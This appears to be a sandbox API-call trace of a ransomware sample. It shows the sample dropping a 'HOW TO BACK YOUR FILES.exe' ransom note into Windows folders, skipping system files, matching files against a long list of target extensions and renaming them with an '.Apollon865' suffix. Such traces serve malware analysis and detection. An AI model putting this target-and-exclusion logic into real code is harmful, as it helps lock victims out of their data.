	[0062.046] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.050] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d0eb050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d0eb050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.050] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.050] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.050] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.050] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d0eb050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d0eb050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.050] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.050] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.051] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.051] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.051] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="Apollon865.txt.exe") returned 1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2=".") returned 1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="..") returned 1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="windows") returned -1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="bootmgr") returned 1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="temp") returned -1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="pagefile.sys") returned -1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="boot") returned 1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="ids.txt") returned -1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="ntuser.dat") returned -1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="perflogs") returned -1
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2="MSBuild") returned -1
	[0062.051] lstrlenW (lpString="calendar.html") returned 13
	[0062.051] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*") returned 64
	[0062.051] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="calendar.html" | out: lpString1="calendar.html") returned="calendar.html"
	[0062.051] lstrlenW (lpString="calendar.html") returned 13
	[0062.051] lstrlenW (lpString="Apollon865") returned 10
	[0062.051] lstrcmpiW (lpString1="endar.html", lpString2="Apollon865") returned 1
	[0062.051] lstrlenW (lpString=".dll") returned 4
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2=".dll") returned 1
	[0062.051] lstrlenW (lpString=".lnk") returned 4
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2=".lnk") returned 1
	[0062.051] lstrlenW (lpString=".ini") returned 4
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2=".ini") returned 1
	[0062.051] lstrlenW (lpString=".sys") returned 4
	[0062.051] lstrcmpiW (lpString1="calendar.html", lpString2=".sys") returned 1
	[0062.051] lstrlenW (lpString="calendar.html") returned 13
	[0062.052] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="css" | out: lpString1="css") returned="css"
	[0062.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0062.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0062.052] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0062.052] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="Apollon865.txt.exe") returned 1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="temp") returned -1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="pagefile.sys") returned -1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="boot") returned 1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="ids.txt") returned -1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="perflogs") returned -1
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2="MSBuild") returned -1
	[0062.052] lstrlenW (lpString="gadget.xml") returned 10
	[0062.052] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css") returned 66
	[0062.052] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0062.052] lstrlenW (lpString="gadget.xml") returned 10
	[0062.052] lstrlenW (lpString="Apollon865") returned 10
	[0062.052] lstrlenW (lpString=".dll") returned 4
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0062.052] lstrlenW (lpString=".lnk") returned 4
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0062.052] lstrlenW (lpString=".ini") returned 4
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0062.052] lstrlenW (lpString=".sys") returned 4
	[0062.052] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0062.052] lstrlenW (lpString="gadget.xml") returned 10
	[0062.053] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.Apollon865") returned 84
	[0062.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0062.054] GetLastError () returned 0x5
	[0062.054] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 102
	[0062.054] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 102
	[0062.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0062.054] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2862
	[0062.054] WriteFile (in: hFile=0x150, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x66, lpOverlapped=0x0) returned 1
	[0062.055] CloseHandle (hObject=0x150) returned 1
	[0062.055] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.055] CloseHandle (hObject=0x0) returned 0
	[0062.055] CloseHandle (hObject=0x0) returned 0
	[0062.055] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0eb050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d0eb050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.055] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.055] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0062.055] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0062.055] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0062.055] lstrlenW (lpString="js") returned 2
	[0062.055] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 73
	[0062.055] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="js" | out: lpString1="js") returned="js"
	[0062.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0062.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b90d8
	[0062.055] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0062.056] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0062.056] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.056] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0062.056] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js"
	[0062.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0062.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0062.056] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js") returned 65
	[0062.056] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js"
	[0062.056] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.056] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.060] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d0eb050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d0eb050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.060] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.060] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.060] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.060] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d0eb050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d0eb050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.060] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.060] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.060] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.060] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.060] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1
	[0062.060] lstrcmpiW (lpString1="calendar.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.060] lstrcmpiW (lpString1="calendar.js", lpString2="Apollon865.txt.exe") returned 1
	[0062.060] lstrcmpiW (lpString1="calendar.js", lpString2=".") returned 1
	[0062.060] lstrcmpiW (lpString1="calendar.js", lpString2="..") returned 1
	[0062.060] lstrcmpiW (lpString1="calendar.js", lpString2="windows") returned -1
	[0062.060] lstrcmpiW (lpString1="calendar.js", lpString2="bootmgr") returned 1
	[0062.060] lstrcmpiW (lpString1="calendar.js", lpString2="temp") returned -1
	[0062.060] lstrcmpiW (lpString1="calendar.js", lpString2="pagefile.sys") returned -1
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2="boot") returned 1
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2="ids.txt") returned -1
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2="ntuser.dat") returned -1
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2="perflogs") returned -1
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2="MSBuild") returned -1
	[0062.061] lstrlenW (lpString="calendar.js") returned 11
	[0062.061] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*") returned 67
	[0062.061] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="calendar.js" | out: lpString1="calendar.js") returned="calendar.js"
	[0062.061] lstrlenW (lpString="calendar.js") returned 11
	[0062.061] lstrlenW (lpString="Apollon865") returned 10
	[0062.061] lstrcmpiW (lpString1="alendar.js", lpString2="Apollon865") returned -1
	[0062.061] lstrlenW (lpString=".dll") returned 4
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2=".dll") returned 1
	[0062.061] lstrlenW (lpString=".lnk") returned 4
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2=".lnk") returned 1
	[0062.061] lstrlenW (lpString=".ini") returned 4
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2=".ini") returned 1
	[0062.061] lstrlenW (lpString=".sys") returned 4
	[0062.061] lstrcmpiW (lpString1="calendar.js", lpString2=".sys") returned 1
	[0062.061] lstrlenW (lpString="calendar.js") returned 11
	[0062.061] lstrlenW (lpString="bak") returned 3
	[0062.061] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0062.061] lstrlenW (lpString="ba_") returned 3
	[0062.061] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0062.061] lstrlenW (lpString="dbb") returned 3
	[0062.061] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0062.061] lstrlenW (lpString="vmdk") returned 4
	[0062.061] lstrcmpiW (lpString1="r.js", lpString2="vmdk") returned -1
	[0062.061] lstrlenW (lpString="rar") returned 3
	[0062.061] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0062.061] lstrlenW (lpString="zip") returned 3
	[0062.061] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0062.061] lstrlenW (lpString="tgz") returned 3
	[0062.061] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0062.062] lstrlenW (lpString="vbox") returned 4
	[0062.062] lstrcmpiW (lpString1="r.js", lpString2="vbox") returned -1
	[0062.062] lstrlenW (lpString="vdi") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0062.062] lstrlenW (lpString="vhd") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0062.062] lstrlenW (lpString="vhdx") returned 4
	[0062.062] lstrcmpiW (lpString1="r.js", lpString2="vhdx") returned -1
	[0062.062] lstrlenW (lpString="avhd") returned 4
	[0062.062] lstrcmpiW (lpString1="r.js", lpString2="avhd") returned 1
	[0062.062] lstrlenW (lpString="db") returned 2
	[0062.062] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0062.062] lstrlenW (lpString="db2") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0062.062] lstrlenW (lpString="db3") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0062.062] lstrlenW (lpString="dbf") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0062.062] lstrlenW (lpString="mdf") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0062.062] lstrlenW (lpString="mdb") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0062.062] lstrlenW (lpString="sql") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0062.062] lstrlenW (lpString="sqlite") returned 6
	[0062.062] lstrcmpiW (lpString1="dar.js", lpString2="sqlite") returned -1
	[0062.062] lstrlenW (lpString="sqlite3") returned 7
	[0062.062] lstrcmpiW (lpString1="ndar.js", lpString2="sqlite3") returned -1
	[0062.062] lstrlenW (lpString="sqlitedb") returned 8
	[0062.062] lstrcmpiW (lpString1="endar.js", lpString2="sqlitedb") returned -1
	[0062.062] lstrlenW (lpString="xml") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0062.062] lstrlenW (lpString="$er") returned 3
	[0062.062] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0062.063] lstrlenW (lpString="4dd") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0062.063] lstrlenW (lpString="4dl") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0062.063] lstrlenW (lpString="^^^") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0062.063] lstrlenW (lpString="abs") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0062.063] lstrlenW (lpString="abx") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0062.063] lstrlenW (lpString="accdb") returned 5
	[0062.063] lstrcmpiW (lpString1="ar.js", lpString2="accdb") returned 1
	[0062.063] lstrlenW (lpString="accdc") returned 5
	[0062.063] lstrcmpiW (lpString1="ar.js", lpString2="accdc") returned 1
	[0062.063] lstrlenW (lpString="accde") returned 5
	[0062.063] lstrcmpiW (lpString1="ar.js", lpString2="accde") returned 1
	[0062.063] lstrlenW (lpString="accdr") returned 5
	[0062.063] lstrcmpiW (lpString1="ar.js", lpString2="accdr") returned 1
	[0062.063] lstrlenW (lpString="accdt") returned 5
	[0062.063] lstrcmpiW (lpString1="ar.js", lpString2="accdt") returned 1
	[0062.063] lstrlenW (lpString="accdw") returned 5
	[0062.063] lstrcmpiW (lpString1="ar.js", lpString2="accdw") returned 1
	[0062.063] lstrlenW (lpString="accft") returned 5
	[0062.063] lstrcmpiW (lpString1="ar.js", lpString2="accft") returned 1
	[0062.063] lstrlenW (lpString="adb") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0062.063] lstrlenW (lpString="adb") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0062.063] lstrlenW (lpString="ade") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0062.063] lstrlenW (lpString="adf") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0062.063] lstrlenW (lpString="adn") returned 3
	[0062.063] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0062.064] lstrlenW (lpString="adp") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0062.064] lstrlenW (lpString="alf") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0062.064] lstrlenW (lpString="ask") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0062.064] lstrlenW (lpString="btr") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0062.064] lstrlenW (lpString="cat") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0062.064] lstrlenW (lpString="cdb") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0062.064] lstrlenW (lpString="ckp") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0062.064] lstrlenW (lpString="cma") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0062.064] lstrlenW (lpString="cpd") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0062.064] lstrlenW (lpString="dacpac") returned 6
	[0062.064] lstrcmpiW (lpString1="dar.js", lpString2="dacpac") returned 1
	[0062.064] lstrlenW (lpString="dad") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0062.064] lstrlenW (lpString="dadiagrams") returned 10
	[0062.064] lstrcmpiW (lpString1="alendar.js", lpString2="dadiagrams") returned -1
	[0062.064] lstrlenW (lpString="daschema") returned 8
	[0062.064] lstrcmpiW (lpString1="endar.js", lpString2="daschema") returned 1
	[0062.064] lstrlenW (lpString="db-journal") returned 10
	[0062.064] lstrcmpiW (lpString1="alendar.js", lpString2="db-journal") returned -1
	[0062.064] lstrlenW (lpString="db-shm") returned 6
	[0062.064] lstrcmpiW (lpString1="dar.js", lpString2="db-shm") returned -1
	[0062.064] lstrlenW (lpString="db-wal") returned 6
	[0062.064] lstrcmpiW (lpString1="dar.js", lpString2="db-wal") returned -1
	[0062.064] lstrlenW (lpString="dbc") returned 3
	[0062.064] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0062.064] lstrlenW (lpString="dbs") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0062.065] lstrlenW (lpString="dbt") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0062.065] lstrlenW (lpString="dbv") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
